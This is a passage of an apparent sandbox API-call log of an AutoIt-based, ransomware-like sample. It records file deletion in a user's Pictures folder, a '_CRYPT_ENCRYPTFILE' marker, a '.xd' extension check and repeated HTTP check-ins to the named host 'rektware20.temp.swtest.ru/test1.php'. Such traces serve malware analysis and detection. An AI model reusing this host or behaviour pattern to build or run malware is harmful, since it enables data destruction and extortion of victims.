0xf [0060.380] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.380] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.380] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.380] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.380] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.380] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.380] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.380] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.380] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.381] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.381] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.381] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.381] CryptReleaseContext (hProv=0x17aac48, dwFlags=0x0) returned 1 [0060.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.381] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.381] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.381] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.381] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.383] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.383] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.383] CloseHandle (hObject=0x3bc) returned 1 [0060.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.385] CloseHandle (hObject=0x2ac) returned 1 [0060.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.387] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.387] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", lpFilePart=0x0) returned 0x40 [0060.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\qvxjrslfjub-71ebs7.bmp")) returned 0x20 [0060.387] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6f0 [0060.387] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\qvxjrslfjub-71ebs7.bmp")) returned 1 [0060.389] FindNextFileW (in: hFindFile=0x164c6f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.390] FindClose (in: hFindFile=0x164c6f0 | out: hFindFile=0x164c6f0) returned 1 [0060.390] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.390] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.390] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.390] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.391] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.391] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.391] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.391] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0060.391] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.391] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.391] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.392] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.392] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.392] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.392] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.392] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.392] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.393] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.393] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.393] CloseHandle (hObject=0x0) returned 0 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZFcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FcrpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="crpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rpF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pF\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eJY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JY2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Kxt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xt0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ru1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="edo.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="do.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.396] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.397] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.397] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.397] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.397] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.397] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.397] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.397] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.397] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ee1c) returned 1 [0060.397] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.397] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.397] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.398] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.398] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.398] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.398] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.398] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.398] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.398] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.398] InternetCloseHandle 